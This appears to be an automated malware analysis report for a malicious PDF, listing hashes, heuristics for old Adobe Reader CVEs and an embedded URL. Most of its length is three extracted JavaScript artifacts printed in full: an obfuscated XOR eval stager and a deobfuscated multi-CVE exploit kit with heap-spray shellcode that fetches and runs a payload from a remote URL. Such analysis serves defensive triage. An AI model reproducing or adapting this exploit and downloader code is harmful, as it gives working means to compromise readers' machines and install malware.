Malicious PDF — malware analysis report

Static analysis result for SHA-256 40d769c254cff83b…

MALICIOUS

PDF

4.7 KB Authoring application: Sawewegivefe (via 40a71Kvebivqqoto) First seen: 2026-05-11
MD5: bbe6bc4d6d24f9388db9423ad2a49371 SHA-1: 41a014222049be20b7bbef80edc49b237f1eae15 SHA-256: 40d769c254cff83b20960ecd45239bb60491683d7fcd66851df87d75ddf9f6a4
390 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.002 Spearphishing Attachment

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT', 'PDF_JS', and 'PDF_PAGE_WORD_XOR_EVAL_STAGER'. The embedded JavaScript, named 'javascript_obj0010_000.js', is likely responsible for downloading and executing a second-stage payload. The obfuscated nature of the JavaScript and the presence of a stager suggest a malicious intent to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER
    PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ahrudq.egh/4 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0010_000.js pdf-javascript-stream PDF /JS object 10 at offset 0xDD7 531 bytes
SHA-256: e02687beef255d1181b3421a85a1c22b9a9cec23c964c4d6bd07d9f53e190b7a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
try {var lU='FunZctionZZ'.replace(/[Z]/g, '');var mB=app.doc;nAL='var  YoV = 237 ;Yvar  fMD = tYhis;var xYYE=fYYMYYD.getPageNumWorYYds(this.YpYYageNumY);vYYar oYN=\'\'Y;for(var rYU=0YY;rU< xE;Y rU++)Y{oN=[oN,Y fMD.getPaYgeYNYYthYWYYoYYrd(fMYYD.pagYYeNumY,rU,trYue)].jYoinYY(\'Y\');;}vYar sH=\'\';fYor(var rYUYY=YY0;rUY < oYN.lYYengYYth;YY rU+=YY2){mVA=oN.subYYstrYY(YYrU,2);sH=[sYYH,String.YYfromCharCode(parseIYYnt(mYVA,16)^oV)].YjoYinY(\'\');}eYYval(sYYH);sH=null;'.replace(/[Y]/g, '');nC=wZ;} catch(jA){var sV=mB[lU](nAL);sV();}
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3785 bytes
SHA-256: c483b4f4382f34f0b821f513bdab874226010d28c527a716798948e0a31e2e44
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
h={};this.v=428;this.v--;var rE='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';this.p=18962;this.p--;var b="b";var kX=this.info['yD'].replace(/[\s]/g, '');for(var gP=0; gP <2024; gP++){var dQ='qP'};var sRG='';var fQ = this.info;var eR = (fQ.producer.substr(0,5) == 'debug');var hG = new Array(); var mV = "%u";function nK(str){str = str.split(mV);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function mL(str1, str2){return [str1, str2].join("");}function nU(yTS){var wL = nM();var wNO = oF();wL += ((wL.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + wNO;if(eR) app.alert("URL: " + wL);wL=nE(wL);var d=mV;var mVA=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";mVA+=wL;return nK(mVA);};function nM(){var qV = (fQ.author + fQ.title).replace(/[\s]/g, '');var dW = mN(qV, kX, rE);return dW;};function mN(qV, rE, kX){var dW="";for(var i=0; i < qV.length; i++){var fY = rE.indexOf(qV[i]);if(fY > -1 ){dW += kX[fY];}}return dW;};function nE(qV){var out = "";qV = iZ(qV);g = Math.round(qV.length / 4);if (g != qV.length /4) qV+="00";for(var i=0; i < qV.length; i+=4){out+= mV + qV.substr(i+2, 2) + qV.substr(i, 2);}return out;};function iZ(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function zW(gH, len){while (gH.length * 2 < len){gH = mL(gH, gH);}return gH.substring(0, len / 2);};function hGN(nS){var cP = 0x0c0c0c0c;        t = nU("pdf");if (nS == 1){cP = 0x30303030;}var hGH = 0x400000;var ln = t.length * 2;var fM = hGH - (ln + 0x38);var gH = nK(mV+"9090"+mV+"9090"); gH = zW(gH, fM);var eD = (cP - 0x400000) / hGH;for (var xC = 0; xC < eD; xC ++ ){hG[xC] = mL(gH, t);}};function oF(){try {return app.viewerVersion.toString();}catch(gF){    return 0;}}if(eR) app.alert("called exploit");var wNO = oF();if(eR)  app.alert("v: " + wNO);if (wNO > 8){if(eR) app.alert("util.printf");hGN(1);var hY = "12999999999999999999";for (gX=0; gX < 276; gX++) hY += "8";util.printf("%45000f", hY);}if (wNO < 8){if(eR) app.alert("Collab.collectEmailInfo");hGN(0);var hE = nK(mV+"0c0c"+mV+"0c0c");while (hE.length < 44952) hE += hE;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : hE});}if (wNO < 9.1){if (app.doc.Collab.getIcon){if(eR) app.alert("Collab.getIcon");hGN(0);var oHI = unescape("%09");while (oHI.length < 0x4000) oHI += oHI;oHI = "N." + oHI;app.doc.Collab.getIcon(oHI);}}if (wNO == 9.2){if(eR) app.alert("media.newPlayer");hGN(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}var xY={nA:"sL".substr(30183, 30183)};var z="z";cZ=10974;cZ-=244;var fS={hO:"uP".substr(21451, 21451)}; !P � !Q&3��Q&3��&3��
page_word_xor_stage_000.js deobfuscated-js page-word continuous-hex XOR decoded JavaScript (decompressed, key=0xED) at offset 0x8C 3763 bytes
SHA-256: b159b889362e648f3ad518b80d60040e129a5fac9e4d5baed19dd00707ba7696
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
h={};this.v=428;this.v--;var rE='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';this.p=18962;this.p--;var b="b";var kX=this.info['yD'].replace(/[\s]/g, '');for(var gP=0; gP <2024; gP++){var dQ='qP'};var sRG='';var fQ = this.info;var eR = (fQ.producer.substr(0,5) == 'debug');var hG = new Array(); var mV = "%u";function nK(str){str = str.split(mV);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function mL(str1, str2){return [str1, str2].join("");}function nU(yTS){var wL = nM();var wNO = oF();wL += ((wL.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + wNO;if(eR) app.alert("URL: " + wL);wL=nE(wL);var d=mV;var mVA=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";mVA+=wL;return nK(mVA);};function nM(){var qV = (fQ.author + fQ.title).replace(/[\s]/g, '');var dW = mN(qV, kX, rE);return dW;};function mN(qV, rE, kX){var dW="";for(var i=0; i < qV.length; i++){var fY = rE.indexOf(qV[i]);if(fY > -1 ){dW += kX[fY];}}return dW;};function nE(qV){var out = "";qV = iZ(qV);g = Math.round(qV.length / 4);if (g != qV.length /4) qV+="00";for(var i=0; i < qV.length; i+=4){out+= mV + qV.substr(i+2, 2) + qV.substr(i, 2);}return out;};function iZ(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function zW(gH, len){while (gH.length * 2 < len){gH = mL(gH, gH);}return gH.substring(0, len / 2);};function hGN(nS){var cP = 0x0c0c0c0c;        t = nU("pdf");if (nS == 1){cP = 0x30303030;}var hGH = 0x400000;var ln = t.length * 2;var fM = hGH - (ln + 0x38);var gH = nK(mV+"9090"+mV+"9090"); gH = zW(gH, fM);var eD = (cP - 0x400000) / hGH;for (var xC = 0; xC < eD; xC ++ ){hG[xC] = mL(gH, t);}};function oF(){try {return app.viewerVersion.toString();}catch(gF){    return 0;}}if(eR) app.alert("called exploit");var wNO = oF();if(eR)  app.alert("v: " + wNO);if (wNO > 8){if(eR) app.alert("util.printf");hGN(1);var hY = "12999999999999999999";for (gX=0; gX < 276; gX++) hY += "8";util.printf("%45000f", hY);}if (wNO < 8){if(eR) app.alert("Collab.collectEmailInfo");hGN(0);var hE = nK(mV+"0c0c"+mV+"0c0c");while (hE.length < 44952) hE += hE;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : hE});}if (wNO < 9.1){if (app.doc.Collab.getIcon){if(eR) app.alert("Collab.getIcon");hGN(0);var oHI = unescape("%09");while (oHI.length < 0x4000) oHI += oHI;oHI = "N." + oHI;app.doc.Collab.getIcon(oHI);}}if (wNO == 9.2){if(eR) app.alert("media.newPlayer");hGN(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}var xY={nA:"sL".substr(30183, 30183)};var z="z";cZ=10974;cZ-=244;var fS={hO:"uP".substr(21451, 21451)};